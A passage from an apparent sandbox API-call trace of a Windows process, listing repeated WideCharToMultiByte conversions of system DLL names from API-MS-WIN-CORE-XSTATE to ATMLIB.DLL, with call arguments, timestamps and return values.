dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xb3c310, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xb3c1a8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xb3c310, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xb3c1a8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xb3c310, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xb3c1a8, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c310, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c310, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c1a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xb3c310, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xb3c1a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c310, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xb3c1a8, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xb3c310, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c1a8, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0241.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xb3c310, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xb3c1a8, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c310, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c1a8, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xb3c310, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0xb3c1a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0xb3c1a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0xb3c310, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0xb3c310, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0xb3c310, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 